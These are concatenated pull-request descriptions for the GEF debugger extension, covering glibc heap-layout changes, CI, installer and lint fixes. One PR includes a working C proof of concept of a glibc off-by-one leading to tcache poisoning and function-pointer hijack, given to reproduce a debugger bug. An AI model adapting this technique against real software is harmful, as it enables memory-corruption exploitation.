Fixes#1225
## Problem
glibc 2.43 removed the fastbin infrastructure (upstream commit
`bb5a4f5`),
so `struct malloc_state` no longer contains `fastbinsY[NFASTBINS]` nor
`have_fastchunks`. GEF's `GlibcArena.malloc_state_t()` was still parsing
the old layout, so on glibc >= 2.43 every heap command reading the arena
showed garbage (`heap arenas` with wrong `top`/`last_remainder`, broken
`heap bins`, ...).
## Fix
Made the arena layout version-aware:
- `GlibcArena.has_fastbins()`: fastbins exist only on glibc < 2.43
- `GlibcArena.malloc_state_t()`: no longer defines `fastbinsY` /
`have_fastchunks` on glibc >= 2.43
- `GlibcArena.fastbinsY` returns an empty array, `fastbin()` returns
`None`, so existing callers behave safely
- `heap bins fast` exits with a clear message instead of parsing
corrupted data
## Tests
Added `HeapCommandNoFastbins` (tests/commands/heap.py): it forces
`gef.libc._version = (2, 43)` regardless of the host glibc and verifies
the 2.43 arena layout has no fastbins and `heap bins fast` reports them
as unsupported.
The initial CI run failed on `fedora-rawhide` (glibc 2.44) for two
reasons, both fixed in the follow-up commit:
- `HeapCommandFastBins::test_cmd_heap_bins_fast` was missing the
`skipif(is_glibc_ge(2, 43))` marker that all the other fastbin tests
use, and failed on a real no-fastbins glibc
- `CanaryCommand::test_cmd_canary` asserted that the stack canary equals
the `AT_RANDOM`-derived value; on glibc >= 2.44 the canary is no
longer derived from `AT_RANDOM`, so the test is skipped there (the
`canary` command itself still reads the right value from the TLS slot)
Verified locally against glibc 2.41 (Debian), 2.43 (fedora:44) and
2.44 (fedora:rawhide) containers, plus `pre-commit run --all-files`.
---------
Co-authored-by: NK <[email protected]>
## Description
Set Gray color as "Bright Black", judging from [Gentoo's documentation
about colors in terminal
emulators](https://wiki.gentoo.org/wiki/Terminal_emulator/Colors#Specifying_colors).
This has the nice effect of enabling custom theming of the gray color by
the terminal application (e.g., Konsole), so that the gray remains
readable with different themes.
## Description
This PR
- removes unmaintained `shellcode` commands, tests, and documentation
- (finally) switches to Ruff instead of Pylint (still handled by
`pre-commit`)
- fixes a few ruff/ty-found issues
## Description
If gef cannot resolve a pointer to the tcache through symbol lookup it
will assume the tcache is on the first allocated chunk.
This is not true on glibc 2.42 (and possibly previous versions) since
dlmalloc will only allocate the tcache [if the allocation being served
has a size that fits the
tcache](https://github.com/bminor/glibc/blob/glibc-2.42/malloc/malloc.c#L3474).
This PR add a simple heuristic that checks if the first 64 bytes the
first chunks are all less or equal to 7 (the max number of chunks in a
tcache bins). If not, the next chunk is considered and the check
repeated until a valid candidate is found or an error is raised (in this
case the first chunk is used as a fallback, preserving legacy).
In glibc 2.42 the tcache also changed in number of bins, increasing from
64 to 64+12. **I didn't check if any other structural change was made,
it seems not**.
This PR introduces two new instance variables in
`GlibcHeapTcachebinsCommand`: `tcache_max_bins` and `tcache_count_size`.
These are initialised in the ctor if the glibc version is known,
otherwise the `find_tcache` method will set them based on the glibc
version range inferred from the tcache chunk size (pretty much how the
count size was determined).
This patch was created to address this PoC of a recent glibc
vulnerability and was tested with glibc 2.42.
```
#include <assert.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void normal_func(void) {
puts("We are safe :)");
}
static void malicious_func(void) {
puts("Got hijacked!!");
}
#define width 0x409
int main(void) {
__attribute__((aligned(16))) void (*func_ptr)(void) = normal_func;
char *buf = NULL;
char *input = malloc(width + 1);
if (input == NULL)
return 1;
memset(input, 0x61, width);
input[width] = '\0';
// layout heap...
size_t *chunk1 = malloc(0x408);
size_t *chunk2 = malloc(0x28);
size_t *chunk3 = malloc(0x28);
size_t *chunk4 = malloc(0x28);
free(chunk1);
free(chunk4);
// before off-by-one: [chunk2 ][chunk3 ]
int rc = sscanf(input, "%1033mc", &buf);
assert(rc != -1);
_b:
// release [chunk2 [chunk3 ]]
free(chunk2);
free(chunk3);
// now hijack chunk3->fd via chunk2
chunk2 = malloc(0x58);
chunk2[6] = (size_t)&func_ptr ^ ((size_t)chunk3 >> 12);
// allocate chunk3 back, which is now at &func_ptr, write with another func
size_t *chunk5 = malloc(0x28);
chunk3 = malloc(0x28);
*chunk3 = (size_t)malicious_func;
func_ptr();
free(buf);
free(input);
return 0;
}
```
```
gcc poc.c -g -o poc
gdb ./poc -ex 'b main:_b' -ex 'r' -ex 'heap bins tcache'
```
You must **not** have debug symbols for glibc such that [`tcache_addr =
parse_address("(void *)
tcache")`](https://github.com/hugsy/gef/blob/main/gef.py#L6935) fails to
resolve.
When using the current version of gef:
<img width="751" height="430" alt="image"
src="https://github.com/user-attachments/assets/35daa681-1c75-4a41-a920-042f4da4b4ef"
/>
because `malloc(width + 1)` doesn't fit in the tcache range and it's the
first chunk allocated
When using the patched version of gef:
<img width="1171" height="83" alt="image"
src="https://github.com/user-attachments/assets/b4086e1e-1447-4d15-a80f-68cb7907e307"
/>
Fixes #1202
## Description
This patch fixes the `malloc_state` layout used by
`GlibcArena.malloc_state_t()` on 32-bit glibc targets.
For glibc 2.27+, GEF currently adds the `UNUSED_c` padding field
unconditionally after `have_fastchunks`. That matches the expected
alignment on 64-bit targets, but it is incorrect on 32-bit targets such
as ARMv7. As a result, the parsed `malloc_state` layout is shifted by 4
bytes, and later fields such as `top`, `last_remainder`, `next`,
`system_mem`, and `max_system_mem` are read from incorrect offsets.
In practice, this breaks heap arena parsing on affected targets. For
example, `heap arenas` may show an invalid `next` pointer such as `0x0`,
fail to walk the arena list correctly, or display corrupted memory
statistics such as an invalid `mempeak` value.
This patch makes the padding conditional on pointer size and only
inserts `UNUSED_c` on 64-bit targets. This keeps the existing behavior
for 64-bit glibc while restoring the correct `malloc_state` layout on
32-bit glibc.
This change is required to make heap arena parsing work correctly on
32-bit ARM systems affected by #1202.
Reproduction environment reported in the issue:
* Debian bookworm
* glibc 2.36
* ARMv7 (32-bit)
* GDB 13.1
Observed behavior before this change:
* `heap arenas` reports an invalid `next` pointer
* arena traversal is broken
* `mempeak` and related fields may contain corrupted values
Expected behavior after this change:
* `heap arenas` parses `malloc_state` using the correct layout on 32-bit
targets
* `next` points to the correct arena
* arena traversal works as expected
* memory-related fields are read from the correct offsets
Refactor the CI workflow to build and run tests inside Docker containers
instead of directly on GitHub runners. This adds support for testing on
Fedora releases in addition to Ubuntu 22.04 and 24.04.
## Description
This change uses container images for tests so that platforms other than
the ones provided directly by GitHub can be tested.
Testing in container images makes it easier to support a broader range
of platforms, but more importantly it allows gef to test and adapt to
changes in glibc, gcc, and Python as they are released, rather than
re-synchronizing with those projects every two years.
## Description
Ubuntu ARM runners are [now available](https://github.blog/changelog/2025-01-16-linux-arm64-hosted-runners-now-available-for-free-in-public-repositories-public-preview/).
Add them to the test suite.
Note: the following tests are marked as skipped for `aarch64` since they
failed on CI (but work locally). Will revisit later
- `test_func_parse_maps_remote_qemu`
- `test_func_parse_maps_realpath`
- `test_cmd_heap_bins_tcache`
- `test_cmd_heap_bins_tcache_all`
- `test_can_establish_connection_to_gdbserver_again_after_disconnect`
---------
Signed-off-by: hugsy <[email protected]>
## Description
On some systems, GDB may read the XDG init file
(`~/.config/gdb/gdbinit`) instead of `~/.gdbinit`.
In that case, the installer updates `~/.gdbinit` correctly, but GEF
still won’t auto-load on `gdb` startup, which is confusing for users.
This PR adds a minimal post-install hint: if `~/.config/gdb/gdbinit`
exists, print a note telling users to add `source ~/.gef-<tag>.py` to
that file if GEF doesn't auto-load.
## References
> On non-Apple hosts the locations searched are:
>
> $XDG_CONFIG_HOME/gdb/gdbinit
> $HOME/.config/gdb/gdbinit
> $HOME/.gdbinit
> While on Apple hosts the locations searched are:
>
> $HOME/Library/Preferences/gdb/gdbinit
> $HOME/.gdbinit
https://sourceware.org/gdb/current/onlinedocs/gdb.html/Initialization-Files.html#Home-directory-initialization-files
---------
Signed-off-by: Jvle <[email protected]>
A buffer the size of `struct winsize` should be passed to the TIOCGWINSZ
ioctl. The size of the winsize struct is 8 bytes (see
https://man7.org/linux/man-pages/man2/TIOCSWINSZ.2const.html), but a
4-bytes buffer was passed, which caused a BOF.
## Description
The patch fixes a BOF which caused a crash in some newer python
environments.
Fixes#1201
As a GDB user I need to keep my existing config when installing GEF
Current, the `~/.gdbinit` content is currently completely removed
Replaced move with copy for the backup
[Upgrade] Check if GEF is already sourced, and replace version
[Install] Add GEF script at 1st line
---------
Co-authored-by: crazy hugsy <[email protected]>
## Description
This PR fixes a missing type check introduced by #1173 when getting
result from `gdb.parameter` while setting ` debug-file-directory`
Signed-off-by: hugsy <[email protected]>
Add a path argument to GotCommand build_line to support updates in
GotAudit.
Related changes in hugsy/gef-extras/pull/122
In order to reduce false positives in GotAudit, the build_line function
requires the path to the file whose symbols are being described.
## Description
This PR adds fallback path `/usr/lib/debug` to `debug-file-directory` config.
Closes#1169.
Some gdbs installed outside `/usr` (like nix or in user homedir) will not search for dbgsyms in `/usr/lib/debug`. However `/us/lib/debug` is where most distros package debuginfo symbols to.
### Before
```console
> /run/workspace/bin/gdb -q -x .gef.py -ex 'show debug-file-directory' -ex 'quit'
The directory where separate debug symbols are searched for is "/nix/store/k51rfv38p65jbhw906vpl85yg1vd7xqn-gdb-15.2/lib/debug".
```
### After
```console
> /run/workspace/bin/gdb -q -x .gef.py -ex 'show debug-file-directory' -ex 'quit'
The directory where separate debug symbols are searched for is "/nix/store/k51rfv38p65jbhw906vpl85yg1vd7xqn-gdb-15.2/lib/debug:/usr/lib/debug".
```
---------
Co-authored-by: crazy hugsy <[email protected]>
## Description
This patch modifies the `thread` function in two test files, so that it
matches the expected prototype for an argument to pthread_create. This
fixes a build failure with gcc 15:
```
heap-non-main.c: In function ‘main’:
heap-non-main.c:27:40: error: passing argument 3 of ‘pthread_create’ from incompatible pointer type [-Wincompatible-pointer-types]
27 | pthread_create(&thread1, NULL, thread, NULL);
| ^~~~~~
| |
| void * (*)(void)
In file included from heap-non-main.c:8:
/usr/include/pthread.h:204:36: note: expected ‘void * (*)(void *)’ but argument is of type ‘void * (*)(void)’
204 | void *(*__start_routine) (void *),
| ~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~
heap-non-main.c:11:7: note: ‘thread’ declared here
11 | void *thread()
| ^~~~~~
```
## Checklist
<!-- N.B.: Your patch won't be reviewed unless fulfilling the following
base requirements: -->
<!--- Put an `x` in all the boxes that are complete, or that don't apply
-->
- [x] My code follows the code style of this project.
- [x] My change includes a change to the documentation, if required.
- [x] If my change adds new code, [adequate tests](docs/testing.md) have
been added.
- [x] I have read and agree to the **CONTRIBUTING** document.
## Description
Fix the permission checks in `Section` by using
[enum.Flag.\_\_bool\_\_](https://docs.python.org/3/library/enum.html#enum.Flag).
For `enum.Flag`, != 0 always returns `True`, as the test below.
```python
import enum
class Permission(enum.Flag):
NONE = 0
EXECUTE = 1
WRITE = 2
READ = 4
ALL = 7
p = Permission(0)
print(p, p != 0) # Permission.NONE True
```
The fixed functions are rarely called. I found this when porting
`Section` to [llef](https://github.com/foundryzero/llef). I also have
checked all `!= 0` and found no similar error.
## Description
Follow-up PR for #1133 but purely esthetic, no functional changes
Cleans up the code to make it more in comformance with Python 3.10
capabilities.
Replaces:
- type `Union` with `|`
- type `Dict`/`Set`/`List`/`Tuple` with `dict`/`set`/`list`/`tuple`
- `Optional` with ` | None`
- `if:` ... `elif`... -> `match`
Fixes:
- `gdb.events.*Event` -> `gdb.*Event`
- `GefHeapManager.malloc_align_address` had its `ceil` lambda moved as a
proper (nested) function
Lint:
- `except:` -> `except Exception:`
- removed a bunch of unused f-strings
- `if not .. in ..` -> `if .. not in ..`
- some short named variables renamed
## Description
The implementation of the `which` function only checks for the
executable flag on paths, which means it can return a directory (at
least on POSIX), causing weird permission errors down the line. It
should instead defer to `shutil.which`; that function contains a
platform-agnostic implementation that should hopefully match the
behavior of the GNU `which` utility.
Co-authored-by: Grazfather <[email protected]>
Co-authored-by: crazy hugsy <[email protected]>
Parse args:
- `-a` / `--addr`:
- filter by address -> parses the next arg as an int or asks gdb the
value
- `-n` / `--name`:
- filter based on section name
- If nothing is specified, print a warning and guess the type (previous
behavior)
---------
Co-authored-by: Grazfather <[email protected]>
## Description
This change passes both the "display" path and the local "real" path for each section or file to the print_got_for function in GotCommand. Without this change, the `got` command does not work properly in a remote debugging session.
```
Python Exception <class 'NameError'>: name 'add_context_layout_mapping' is not defined
Error occurred in Python: name 'add_context_layout_mapping' is not defined
```
Add support for the `append` action for ArgumentParser in the `parse_arguments` decorator on optional arguments.
This makes us able to support this:
```
command --arg 1 --arg 2 --arg 3
```
And get `[1, 2, 3]` as the `arg` value.
This CL is required to make changes to
https://github.com/hugsy/gef/pull/1120 before merging.
---------
Co-authored-by: crazy hugsy <[email protected]>